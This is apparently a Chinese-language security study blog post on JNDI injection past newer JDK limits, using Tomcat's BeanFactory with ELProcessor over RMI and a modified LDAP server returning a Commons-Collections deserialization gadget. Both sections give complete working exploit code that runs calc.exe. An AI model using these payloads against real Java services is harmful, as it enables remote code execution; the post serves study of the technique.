0x00 前言
11号到15号,又是四天,就学了个低版本下的JNDI注入,而且还没搞明白LDAP服务器怎么写,用的别人的工具…大失败。趁热打铁,赶紧学一下高版本下的JNDI注入。附上一张图:
有人可能会发现我没讲过RMI动态加载恶意类,其实它的原理也是从codebase上加载远程类,但是它的利用条件很苛刻,还不如直接用JNDI注入捏:
- 安装并配置了SecurityManager
- Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false
0x01 利用本地类(BeanFactory)
引言(废话)
在高版本的JDK中,增加了对加载远程类的限制,但是依然是可以加载本地类的。只是加载本地类时,一般情况下实例化是不能够利用的,因为其构造函数和静态代码大概率是不会有像我们自己构造的那样直接和危险的代码,而且没有我们可控的参数;那么我们就还只剩下return factory.getObjectInstance(ref, name, nameCtx,environment)
可以考虑。
而在getObjectInstance中,我们有两个参数可控: ref、name。name为我们bind时的标签同名的CompositeName类(没啥用),ref则是之前我们创建的Reference类:
Reference reference = new Reference("chenlvtang","hacker","http://127.0.0.1/")
)
其中包含了一些信息如下:
虽然这看上去也并不能直接利用,但是存在可控的参数时,就可能会有漏洞的产生(所谓“永远不要相信用户的输入”),所以我们可以试着找到一些有getObjectInstance的类,并且有空的构造函数(因为newInstance只会调用空的构造函数),然后看看能不能利用可控参数达到攻击的效果。😋国外的大牛(Michael Stepankin)还真的找到了捏(Veracode blog),org.apache.naming.factory.BeanFactory就是这样一个类,下面就让我们来看一看吧。
BeanFactory
找到Tomcat中lib下的catalina.jar导入,或者使用Maven拉取:
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.71</version>
</dependency>
</dependencies>
麻了,用Maven拉取,最后el包报错,用电脑上Tomcat10也不行,在网上再下一个Tomcat8.5.71再导入,就好了,点我下载。
另外,虽然IDEA自带反编译,但是为了能够更好的进行理解,我们还是去下载一下源码(点我下载),然后就来审计一下吧:
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException
("Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue;
}
//...省略
首先我们可以看到这里很明显的存在反射调用:
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
valueArray[0] = value; //if (method != null)
method.invoke(bean, valueArray);//try
那么,如果我们能够控制method、bean、和valueArray的值岂不是就能够利用反射调用来执行命令?
参数bean
我们先来看bean,发现他是由beanClass创建,而beanClass是来自beanClassName,最后能够看到的是beanClassName是来自于我们上文说的可控的ref中的className。
Reference ref = (Reference) obj;//if (obj instanceof ResourceRef)
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
beanClass = tcl.loadClass(beanClassName);//beanClass = Class.forName(beanClassName); 取决于tcl是否为null
Object bean = beanClass.getConstructor().newInstance();
也就是说我们现在似乎能够获得指定的任何类😎,但是我们还有两点值得注意:
- Object bean = beanClass.getConstructor().newInstance(); 说明我们的类必须有一个无参构造函数
- if (obj instanceof ResourceRef) 则表明了我们的ref不仅仅是简单的Reference类,还需要是ResourceRef类
第一点把我们可用的类的范围给缩小了,不过问题不大,应该有挺多这样的类(但是把我们的Runtime类给排除了,因为他虽然有无参构造,但是属性是private);第二点问题其实不大,我们看看ResourceRef的构造函数就明白了:
public ResourceRef(String resourceClass, String description, String scope, String auth, boolean singleton, String factory, String factoryLocation) {
super(resourceClass, factory, factoryLocation);//继承了AbstractRef,然后 AbstractRef extends Reference
StringRefAddr refAddr = null;
if (description != null) {
refAddr = new StringRefAddr("description", description);
this.add(refAddr);
}
//...
}
可以看到,他还是能够像Refence类一样指定“老三样”,只是还加了别的一些奇奇怪怪的东西。所以我们可以像这样改写一些:
ResourceRef ref = new ResourceRef("the_class_we_need", "", "", "", true,"org.apache.naming.factory.BeanFactory",null);
这里的factoryLocation,当使用RMI时,一定要指定为null,详见RMI-JNDI在8u113及其后的限制(点我)。
参数valueArray
然后我们再来看valueArray,它的值来自于value,而value的值来自ra.getContent并且进行了强制类型转换为String,这说明我们最后调用的方法必须只能传入String类型的参数(如果不知道为什么,请去了解invoke函数)。我们大概可以猜到getContent是获取ra里的值,下面就来看看ra是否可控:
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
//....
value = (String)ra.getContent();
可以发现,ra来自于e,e则是来自于我们可控的ref的getAll。这里我们可以调试看看这些ref.getAll、ra.getType、ra.getContent是什么。这里我们先自己构造一个有无参构造函数的Demo1:
package demo;
public class Demo1 {
/* debug to find out what is ref.getAll()、ra.getType()、ra.getContent() in BeanFactory
* The payload in class Hacker:
* ResourceRef ref = new ResourceRef("demo.Demo1", "", "", "", true,"org.apache.naming.factory.BeanFactory",null);
* The Link:
*https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/
*/
public Demo1(){
System.out.println("hi!");
}
}
然后自己写一个RMI服务端,客户端就不展示了,会JNDI的的都会写😋:
package hacker;
public class Hacker {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("demo.Demo1", "", "", "", true,"org.apache.naming.factory.BeanFactory",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("hacker", referenceWrapper);
}
}
设置断点后,可以发现,getAll其实就是获取到了我们传入的description、scope、auth、singleton等的信息:
而getType也显而易见了,就是获取到Type后面的值,如: description;getContent,则是获取到Content后的值,如这里Type为singleton的Content为true。(…另外,这里单论singleton的中文意思为…😋,谢谢你嗷~)那么,很显然,我们的反射调用中的value也可控了, 即description等的值。但是这里同样有一个值得注意的地方,刚刚为了方便理解,我省略了:
ra = e.nextElement();// while (e.hasMoreElements())
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
可以看到,当propName为”factory”(调试可以发现Constants.FACTORY的值为这个)、”scope”、“auth”、“forceString”、“singleton”时,会继续遍历,这样就意味着这些Type的Content我们是获取不到的,但是问题不大,我们还有个description可以用,先接着看method的获取。
参数method
同样的,我们先列出和method相关的部分省略代码:
Map<String, Method> forced = new HashMap<>();
//...
forced.put(param, beanClass.getMethod(setterName, paramTypes));//try
value = (String)ra.getContent();//value和method来自同一个ra
String propName = ra.getType();//不能是scope、auth....(如上文)
Method method = forced.get(propName);
可以看到,method取自哈希表forced,并且键名来自于和value的同一个ra,所以这个键名也不能为scope等,下面我们就先来看看关于forced的代码:
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
//....
}
try {
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
}
}
其实非常好理解:先获取到ref中forceString的信息,然后获取它的Content,并将其以逗号”,”分割出不同参数对,进入for循环遍历这些参数对,先去空(trim),然后找到”=”的位置,如果有,则将后半部分设置为setterName,前半部分设置为parm。更形象的表示,即:a=1,b=2
—->(setterName_1=1; param_1=a;)&&(setterName_2=2; param_2=b;)
。最后,会将其放入哈希表forced中,键名为我们的parm,值为beanClass.getMethod(setterName, paramTypes)反射调用获得的函数,注意这里的paramTypes[0] = String.class同样也说明了我们的参数只能为String类型。总结来说,我们可以发现,method参数也是可控的,即ref中forceString的值。
利用思路
我们将上面所讲的东西,先汇个总(√表示已经解决):
- ref需要为ResourceRef (√)
- ref中的className需要具备可被调用的无参构造函数 (×)
- className指定的class需可以通过class.method(String)来执行命令(×)
- method来自foceString(×,我们现在还做不到)
- method存入forced哈希表中的键名,也不能为scope、auth….(√,可以用description)
- value不能来自scope、auth,….等,因为他和mothod来自同一个ra (√,description)
我们先来解决二三点,综合来看我们是要找到一个具有无参构造函数且有一个能通过String参数执行命令的函数的类,在这里,Michael Stepankin采用了Tomcat8中的javax.el.ELProcessor,这个类提供了处理EL表达式的一些接口,而在其中的eval函数,可以直接传入el表达式并返回执行结果,所以我们可以利用它来构造命令执行,如下:
package demo;
import javax.el.ELProcessor;
/*
* to test the ElProcessor
*/
public class Demo2 {
public static void main(String[] args){
ELProcessor myELpro = new ELProcessor();
myELpro.eval("Runtime.getRuntime().exec(\"calc.exe\")");
}
}
解决完二三点后,我们就来解决最后的第四点,先不来看怎么把forceString加入,这里先思考forceString的Content应该设置为什么,根据之前的讨论,我们知道method来自于forceString中参数对得来的forced哈希表,键名为=号前半部分且不能为scope等(不然最后取不出值),值为后半部分经反射调用得来的函数。显然,这里的后半部分为”eval”,那么前半部分我们可以为description,即: description=eval。那么现在最后的问题就是如何给ResourceRef加上forceString呢?其实很简单,我们回到ResourceRef的构造函数,观察一下desrciption、scope等是如何构造的:
StringRefAddr refAddr = null;
if (description != null) {
refAddr = new StringRefAddr("description", description);
this.add(refAddr);
}
if (scope != null) {
refAddr = new StringRefAddr("scope", scope);
this.add(refAddr);
}
可以看到,是利用了ResourceRef的add()函数,将一个StringRefAddr类添加到其中,跟进StringRefAddr的构造函数,令人兴奋捏😋:
public StringRefAddr(String var1, String var2) {
super(var1);
this.contents = var2;
}
第二个参数即是我们的Contents,那么我们就可以很简单的吧forceString加入了,如下:
//ResourceRef ref = new ResourceRef(...);
ref.add(new StringRefAddr("forceString", "description=eval"));
至此,所有问题都已经得到解决,所以我们的payload如下:
public class Hacker {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", "Runtime.getRuntime().exec(\"calc.exe\")", "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "description=eval"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("hacker", referenceWrapper);
}
}
攻击
😋,可以发现,最后我们的payload还比师傅们给出的payload少一行捏,也说明是真的分析到位了,这种彻底理解的感觉真的挺不错,虽然花了很多时间,继续keep吧
0x02 利用LDAP返回恶意序列化内容
引言(废话)
虽然从JDK8u191之后,LDAP就无法加载远程类了,但是我们还是可以返回恶意的序列化内容,Java会对返回的内容进行反序列化,如果这时本地存在可被利用的类(如CC3),则可实现攻击。关于此处反序列化的处理,代码如下(位于decodeObject:Obj (com.sun.jndi.ldap)之中 ):
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
当服务端返回的对象的JAVA_ATTRIBUTES[1]存在时,则会对此字段的值进行反序列化,调试可以发现,JAVA_ATTRIBUTES[1]为”javaSerializedData”,所以我们只要给服务端构造的Reference加上javaSerializedData,并将其值设置为某个Gadget,当被攻击端存在Gadget中的利用类时,即可成功反序列化,从而实现攻击。
改造LDAP服务端
首先找到marshalsec里的LDAPRefServer,记得在pom.xml添加如下依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- for LDAP reference server -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
</dependencies>
然后我们改成如下的样子:
public class HackerServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
int port = 1389;
String url = "http://127.0.0.1/#hacker";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
String payload = genPayload();
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(payload));
e.addAttribute("javaClassName", "foo");//Must
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
public String genPayload() throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.put("foo","bar");//不行,key要为value
innerMap.put("value","bar");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//访问权限放开,private之类的也能调用
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class ,outerMap);
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
ObjectOutputStream ser = new ObjectOutputStream(byteout);
ser.writeObject(instance);
ser.close();
final byte[] byteArray = byteout.toByteArray();
return Base64.getEncoder().encodeToString(byteArray);
}
}
}
主要是加了一个生成和绑定payload的代码: String payload = genPayload();e.addAttribute("javaSerializedData", Base64.getDecoder().decode(payload));
,注意这里有个大坑😭:因为这里用了Base64模块,所以必须JDK8+,但是这里的Payload我又用的是适用于JDK7的CC3,ORZ,所以🤣,必须另开一个JDK7的客户端,一开始我把客户端和服务端放在一个项目里,死活不成功,调试了一晚上….
客户端
客户端,同样要记得在pom.xml在加入CC3,然后一定要用JDK7来跑😋
//省略一万个字
攻击
运行服务端,然后运行客户端,就能看到我们熟悉的计算器了:
0x03 参考
JNDI注入高版本jdk绕过学习 | Passer6y’s Blog (0day.design)
如何绕过高版本 JDK 的限制进行 JNDI 注入利用 (seebug.org)
Exploitng JNDI Injection In Java | 雨了个雨’s blog (yulegeyu.com)